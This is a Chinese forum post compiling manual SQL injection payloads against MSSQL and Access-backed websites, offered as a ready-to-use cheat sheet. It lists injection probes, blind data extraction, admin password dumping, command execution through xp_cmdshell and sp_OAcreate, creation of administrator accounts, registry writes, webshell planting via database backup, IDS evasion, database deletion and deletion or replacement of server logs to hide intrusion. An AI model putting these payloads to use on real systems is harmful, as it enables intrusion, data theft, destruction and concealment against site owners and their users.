杨依依 發表於 2017-9-6 12:16:38

sql手工注入语句&SQL手工注入大全

<p>看看下面的<br />
1.判断是否有注入<br />
;and 1=1<br />
;and 1=2<br />
<br />
2.初步判断是否是mssql<br />
;and user&gt;0<br />
<br />
3.判断数据库系统<br />
;and (select count(*) from sysobjects)&gt;0 mssql<br />
;and (select count(*) from msysobjects)&gt;0 access<br />
<br />
4.注入参数是字符<br />
'and [查询条件] and ''='<br />
<br />
5.搜索时没过滤参数的<br />
'and [查询条件] and '%25'='<br />
<br />
6.猜数据库<br />
;and (select Count(*) from [数据库名])&gt;0<br />
<br />
7.猜字段<br />
;and (select Count(字段名) from 数据库名)&gt;0<br />
<br />
8.猜字段中记录长度<br />
;and (select top 1 len(字段名) from 数据库名)&gt;0<br />
<br />
9.(1)猜字段的ascii值(access)<br />
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)&gt;0<br />
<br />
(2)猜字段的ascii值(mssql)<br />
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)&gt;0<br />
<br />
10.测试权限结构(mssql)<br />
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--<br />
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--<br />
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--<br />
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--<br />
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--<br />
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--<br />
;and 1=(select IS_MEMBER('db_owner'));--<br />
<br />
11.添加mssql和系统的帐户<br />
;exec master.dbo.sp_addlogin username;--<br />
;exec master.dbo.sp_password null,username,password;--<br />
;exec master.dbo.sp_addsrvrolemember sysadmin username;--<br />
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--<br />
;exec master.dbo.xp_cmdshell 'net user username password /add';--<br />
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--<br />
<br />
12.(1)遍历目录<br />
;create table dirs(paths varchar(100), id int)<br />
;insert dirs exec master.dbo.xp_dirtree 'c:\'<br />
;and (select top 1 paths from dirs)&gt;0<br />
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))&gt;)<br />
<br />
(2)遍历目录<br />
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--<br />
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器<br />
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表<br />
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构<br />
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容<br />
<br />
13.mssql中的存储过程<br />
xp_regenumvalues 注册表根键, 子键<br />
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值<br />
xp_regread 根键,子键,键值名<br />
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值<br />
xp_regwrite 根键,子键, 值名, 值类型, 值<br />
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型<br />
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表<br />
xp_regdeletevalue 根键,子键,值名<br />
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值<br />
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值<br />
<br />
14.mssql的backup创建webshell<br />
use model<br />
create table cmd(str image);<br />
insert into cmd(str) values ('');<br />
backup database model to disk='c:\l.asp';<br />
<br />
15.mssql内置函数<br />
;and (select @@version)&gt;0 获得Windows的版本号<br />
;and user_name()='dbo' 判断当前系统的连接用户是不是sa<br />
;and (select user_name())&gt;0 爆当前系统的连接用户<br />
;and (select db_name())&gt;0 得到当前连接的数据库<br />
<br />
<br />
16.简洁的webshell<br />
use model<br />
create table cmd(str image);<br />
insert into cmd(str) values ('');<br />
backup database model to disk='g:\wwwtest\l.asp';<br />
<br />
请求的时候,像这样子用:<br />
http://ip/l.asp?c=dir</p>
<p>SQL手工注入大全<br />
<br />
前提需要工具:SQL Query Analyzer和SqlExec Sunx Version<br />
<br />
1.去掉xp_cmdshell扩展过程的方法是使用如下语句:<br />
<br />
if exists (select * from dbo.sysobjects where id=object_id(N'.') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)<br />
exec sp_dropextendedproc N'.'<br />
<br />
2.添加xp_cmdshell扩展过程的方法是使用如下语句:<br />
<br />
(1)SQL Query Analyzer<br />
<br />
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'<br />
<br />
(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入<br />
<br />
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'<br />
<br />
去除<br />
<br />
sp_dropextendedproc 'xp_cmdshell'<br />
<br />
(3)MSSQL2000<br />
<br />
sp_addextendedproc 'xp_cmdshell','xplog70.dll'<br />
<br />
?<br />
<br />
<br />
SQL手工注入方法总结(SQL Server2005)2010-01-28 16:17---------以下以省略注入点用URL代替<br />
<br />
--(1) ******查看驱动器方法******<br />
<br />
-- 建表p(i为自动编号,a记录盘符类似&quot;c:\&quot;,b记录可用字节,其它省略)<br />
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));--<br />
<br />
URL;insert p exec xp_availablemedia;--列出所有驱动器并插入表p<br />
<br />
URL;and (select count(*) from p)&gt;3;--折半法查出驱动器总数<br />
<br />
URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)<br />
<br />
--上面一般用于无显错情况下使用-------以此类推,得到所有驱动器名<br />
<br />
URL;and (select a from p where i=1)&gt;3;--报错得到第一个驱动器名<br />
<br />
--上面一般用于显错情况下使用-------以此类推,得到所有驱动器名<br />
<br />
URL;;drop table p;--删除表p<br />
<br />
--(2) ******查看目录方法******<br />
<br />
URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m记录目录,i记录深度)<br />
<br />
URL;insert pa exec xp_dirtree &rsquo;e:&rsquo;;--列出驱动器e并插入表pa<br />
<br />
URL;and (select count(*) from pa where i&gt;0)&gt;-1;--折半法查出i深度<br />
<br />
URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))&gt;0;--报错得到深度i=1的第一个目录名<br />
<br />
--上面一般用显错且目录名不为数字情况下使用-------(得到第二个目录把&quot;top 0&quot;换为&quot;top 1&quot;,换深度只换i就行)以此类推,得到e盘的所有目录<br />
<br />
URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))&gt;0;--折半法查出深度i=1的第一个目录名的长度<br />
<br />
URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))&gt;0;--折半法查出深度i=1的第一个目录名的第一个字符长度<br />
<br />
--上面一般用无显错情况下使用-------(得到第二个目录把&quot;top 0&quot;换为&quot;top 1&quot;,换深度只换i就行)以此类推,得到e盘的所有目录<br />
<br />
URL;drop</p>
<p>手工MSSQL注入常用SQL语句<br />
and exists (select * from sysobjects) //判断是否是MSSQL<br />
and exists(select * from tableName) //判断某表是否存在..tableName为表名<br />
and 1=(select @@VERSION) //MSSQL版本<br />
And 1=(select db_name()) //当前数据库名<br />
and 1=(select @@servername) //本地服务名<br />
and 1=(select IS_SRVROLEMEMBER(&lsquo;sysadmin&rsquo;)) //判断是否是系统管理员<br />
and 1=(Select IS_MEMBER(&lsquo;db_owner&rsquo;)) //判断是否是库权限<br />
and 1= (Select HAS_DBACCESS(&lsquo;master&rsquo;)) //判断是否有库读取权限<br />
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1,2,3&hellip;.<br />
;declare @d int //是否支持多行<br />
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = &lsquo;X&rsquo; AND name = &lsquo;xp_cmdshell&rsquo;) //判断XP_CMDSHELL是否存在<br />
and 1=(select count(*) FROM master.dbo.sysobjects where name= &lsquo;xp_regread&rsquo;) //查看XP_regread扩展存储过程是不是已经被删除<br />
添加和删除一个SA权限的用户test:(需要SA权限)<br />
exec master.dbo.sp_addlogin test,password<br />
exec master.dbo.sp_addsrvrolemember test,sysadmin<br />
停掉或激活某个服务。 (需要SA权限)<br />
exec master..xp_servicecontrol &lsquo;stop&rsquo;,&rsquo;schedule&rsquo;<br />
exec master..xp_servicecontrol &lsquo;start&rsquo;,&rsquo;schedule&rsquo;<br />
暴网站目录<br />
create table labeng(lala nvarchar(255), id int)<br />
DECLARE @result varchar(255) EXEC master.dbo.xp_regread &lsquo;HKEY_LOCAL_MACHINE&rsquo;,&rsquo;SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots&rsquo;,&rsquo;/&rsquo;,@result output insert into labeng(lala) values(@result);<br />
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala&gt;1)<br />
&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;分割<br />
SQL Server<br />
判断是否可注射:<br />
http://www.exehack.net/article.asp?id=6<br />
http://www.exehack.net/article.asp?id=6&prime;<br />
http://www.exehack.net/article.asp?id=6 and 1=1<br />
http://www.exehack.net/article.asp?id=6 and 1=2<br />
http://www.exehack.net/article.asp?action=value&rsquo; and 1=1<br />
http://www.exehack.net/article.asp?action=value&rsquo; and 1=2<br />
searchpoints%&rsquo; and 1=1<br />
searchpoints%&rsquo; and 1=2<br />
确定数据库类型:<br />
http://www.exehack.net/article.asp?id=6 and user&gt;0<br />
http://www.exehack.net/article.asp?id=6 and (select count(*) from sysobjects)&gt;0<br />
查询当前用户数据信息:<br />
article.asp?id=6 having 1=1&ndash;<br />
暴当前表中的列:<br />
article.asp?id=6 group by admin.username having 1=1&ndash;<br />
article.asp?id=6 group by admin.username,admin.password having 1=1&ndash;<br />
暴任意表和列:<br />
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)&gt;1<br />
and (select top col_name(object_id(&lsquo;admin&rsquo;),N) from sysobjects)&gt;1<br />
暴数据库数据:<br />
and (select top 1 password from admin where id=N)&gt;1<br />
修改数据库中的数据:<br />
;update admin set password=&rsquo;oooooo&rsquo; where username=&rsquo;xxx&rsquo;<br />
增添数据库中的数据:<br />
;insert into admin values (xxx,oooooo)&ndash;<br />
删数据库:<br />
;drop database webdata<br />
获取当前数据库用户名:and user&gt;0<br />
获取当前数据库名:and db_name()&gt;0<br />
获取数据库版本:and (select @@version)&gt;0<br />
判断是否支持多句查询:;declare @a int&ndash;<br />
判断是否支持子查询:and (select count(1) from )&gt;=0<br />
数据库的扩展存储过程:exec master..xp_cmdshell<br />
查看服务器C盘目录:;exec_master..xp_cmdshell &lsquo;dir c:\&rsquo;<br />
判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype=&rsquo;x&rsquo; and name=&rsquo;xp_cmdshell&rsquo;<br />
恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,&rsquo;xplog70.dll&rsquo;<br />
删除扩展存储过程:;exec sp_dropextendedproc &lsquo;xp_cmdshell&rsquo;<br />
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:<br />
;declare @s int<br />
;exec sp_oacreat &lsquo;wscript.shell&rsquo;,@s<br />
;exec master..spoamethod @s,&rsquo;run&rsquo;,null,&rsquo;cmd.exe/c dir c:\&rsquo;<br />
判断当前数据库用户名是否拥有比较高的权限:<br />
and 1=(select is_srvrolemember(&lsquo;sysadmin&rsquo;))<br />
and 1=(select is_srvrolemember(&lsquo;serveradmin&rsquo;))<br />
and 1=(select is_srvrolemember(&lsquo;setupadmin&rsquo;))<br />
and 1=(select is_srvrolemember(&lsquo;securityadmin&rsquo;))<br />
and 1=(select is_srvrolemember(&lsquo;diskadmin&rsquo;))<br />
and 1=(select is_srvrolemember(&lsquo;bulkadmin&rsquo;))<br />
判断当前数据库用户名是否为DB_OWNER:<br />
and 1=(select is_member(&lsquo;db_owner&rsquo;))<br />
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:<br />
and (select top 1 name from master.dbo.sysdatabase order by dbid)&gt;0<br />
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)&gt;0<br />
删除日志记录:<br />
;exec master.dbo.xp_cmdshell &lsquo;del c:\winnt\system32\logfiles\w3svc5\ex070606.log &gt;c:\temp.txt&rsquo;<br />
替换日志记录:<br />
;exec master.dbo.xp_cmdshell &lsquo;copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log &gt;c:\temp.txt&rsquo;<br />
获取WEB路径:<br />
;declare @shell int<br />
;exec master..sp_oamethod &lsquo;wscript.shell&rsquo;,@shell out<br />
;exec master..sp_oamethod @shell,&rsquo;run&rsquo;,null,&rsquo;cmd.exe/c dir /s d:/index.asp &gt;c:/log.txt<br />
利用XP_CMDSHELL搜索:<br />
;exec master..xp_cmdshell &lsquo;dir /s d:/index.asp&rsquo;<br />
显示服务器网站配置信息命令:<br />
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root<br />
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root<br />
利用XP_REGREAD可用PUBLIC权限读取:<br />
;exec master.dbo.xp_regread<br />
hkey_local_machine,<br />
&lsquo;system\currentcontrolset\services\w3svc\parameters\virtual roots\&rsquo;<br />
&lsquo;/&rsquo;<br />
SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。<br />
3、DSqlHelper<br />
检测权限SYSADMIN:<br />
and 1=(select IS_SRVROLEMEMBER(&lsquo;sysadmin&rsquo;))<br />
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。<br />
检测XP_CMDSHELL(CMD命令):<br />
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= &lsquo;xp_cmdshell&rsquo;)<br />
检测XP_REGREAD(注册表读取功能):<br />
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= &lsquo;xp_regread&rsquo;)<br />
检测SP_MAKEWEBTASK(备份功能):<br />
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= &lsquo;sp_makewebtask&rsquo;)<br />
检测SP_ADDEXTENDEDPROC:<br />
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= &lsquo;sp_addextendedproc&rsquo;)<br />
检测XP_SUBDIRS读子目录:<br />
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= &lsquo;xp_subdirs&rsquo;)<br />
检测XP_DIRTREE读子目录:<br />
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= &lsquo;xp_dirtree&rsquo;)<br />
修改内容:<br />
; UPDATE 表名 set 字段=内容 where 1=1<br />
XP_CMDSHELL检测:<br />
;exec master..xp_cmdshell &lsquo;dir c:\&rsquo;<br />
修复XP_CMDSHELL:<br />
;exec master.dbo.sp_addextendedproc &lsquo;xp_cmdshell&rsquo;, &lsquo;xplog70.dll&rsquo;<br />
用XP_CMDSHELL添加用户hacker:<br />
;exec master.dbo.xp_cmdshell &lsquo;net user hacker 123456 /add&rsquo;<br />
XP_CMDSHELL把用户hacker加到ADMIN组:<br />
;exec master.dbo.xp_cmdshell &lsquo;net localgroup administrators hacker /add&rsquo;<br />
创建表test:<br />
;create table . ((255));<br />
检测表段test:<br />
and exists (select * from test)<br />
读取WEB的位置(读注册表):<br />
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread &lsquo;HKEY_LOCAL_MACHINE&rsquo;,&rsquo;SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots&rsquo;, &lsquo;/&rsquo;,@result output insert into test (dstr) values(@result);&ndash;<br />
爆出WEB的绝对路径(显错模式):<br />
and 1=(select count(*) from test where dstr &gt; 1)<br />
删除表test:<br />
;drop table test;&ndash;<br />
创建查看目录的表dirs:<br />
;create table dirs(paths varchar(100), id int)<br />
把查看目录的内容加入表dirs:<br />
;insert dirs exec master.dbo.xp_dirtree &lsquo;c:\&rsquo;<br />
爆目录的内容dirs:<br />
and 0&lt;&gt;(select top 1 paths from dirs)<br />
备份数据库DATANAME:<br />
declare @a sysname; set @a=db_name();backup DATANAME @a to disk=&rsquo;c:\inetpub\wwwroot\down.bak&rsquo;;&ndash;<br />
删除表dirs:<br />
;drop table dirs;&ndash;<br />
创建表temp:<br />
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));&ndash;<br />
把驱动盘列表加入temp表:<br />
;insert temp exec master.dbo.xp_availablemedia;&ndash;<br />
删除表temp:<br />
;delete from temp;&ndash;<br />
创建表dirs:<br />
;create table dirs(paths varchar(100), id int);&ndash;<br />
获得子目录列表XP_SUBDIRS:<br />
;insert dirs exec master.dbo.xp_subdirs &lsquo;c:\&rsquo;;&ndash;<br />
爆出内容(显错模式):<br />
and 0&lt;&gt;(select top 1 paths from dirs)<br />
删除表dirs:<br />
;delete from dirs;&ndash;<br />
创建表dirs:<br />
;create table dirs(paths varchar(100), id int)&ndash;<br />
用XP_CMDSHELL查看目录内容:<br />
;insert dirs exec master..xp_cmdshell &lsquo;dir c:\&rsquo;<br />
删除表dirs:<br />
;delete from dirs;&ndash;<br />
检测SP_OAcreate(执行命令):<br />
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= &lsquo;SP_OAcreate&rsquo;)<br />
SP_OAcreate执行CMD命令:<br />
;DECLARE @shell INT EXEC SP_OAcreate &lsquo;wscript.shell&rsquo;,@shell OUTPUT EXEC SP_OAMETHOD @shell,&rsquo;run&rsquo;,null, &lsquo;C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add&rsquo;<br />
SP_OAcreate建目录:<br />
;DECLARE @shell INT EXEC SP_OAcreate &lsquo;wscript.shell&rsquo;,@shell OUTPUT EXEC SP_OAMETHOD @shell,&rsquo;run&rsquo;,null, &lsquo;C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111&rsquo;<br />
创建一个虚拟目录E盘:<br />
;declare @o int exec sp_oacreate &lsquo;wscript.shell&rsquo;, @o out exec sp_oamethod @o, &lsquo;run&rsquo;, NULL,&rsquo; cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w &ldquo;默认 Web 站点&rdquo; -v &ldquo;e&rdquo;,&rdquo;e:\&rdquo;&lsquo;<br />
设置虚拟目录E为可读:<br />
;declare @o int exec sp_oacreate &lsquo;wscript.shell&rsquo;, @o out exec sp_oamethod @o, &lsquo;run&rsquo;, NULL,&rsquo; cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse&rsquo;<br />
启动SERVER服务:<br />
;exec master..xp_servicecontrol &lsquo;start&rsquo;, &lsquo;server&rsquo;<br />
绕过IDS检测XP_CMDSHELL:<br />
;declare @a sysname set @a=&rsquo;xp_&rsquo;+&rsquo;cmdshell&rsquo; exec @a &lsquo;dir c:\&rsquo;<br />
开启远程数据库1:<br />
; select * from OPENROWSET(&lsquo;SQLOLEDB&rsquo;, &lsquo;server=servername;uid=sa;pwd=apachy_123&rsquo;, &lsquo;select * from table1&rsquo; )<br />
开启远程数据库2:<br />
;select * from OPENROWSET(&lsquo;SQLOLEDB&rsquo;, &lsquo;uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;&rsquo;, &lsquo;select * from table&rsquo;</p>
頁: [1]
查看完整版本: sql手工注入语句&SQL手工注入大全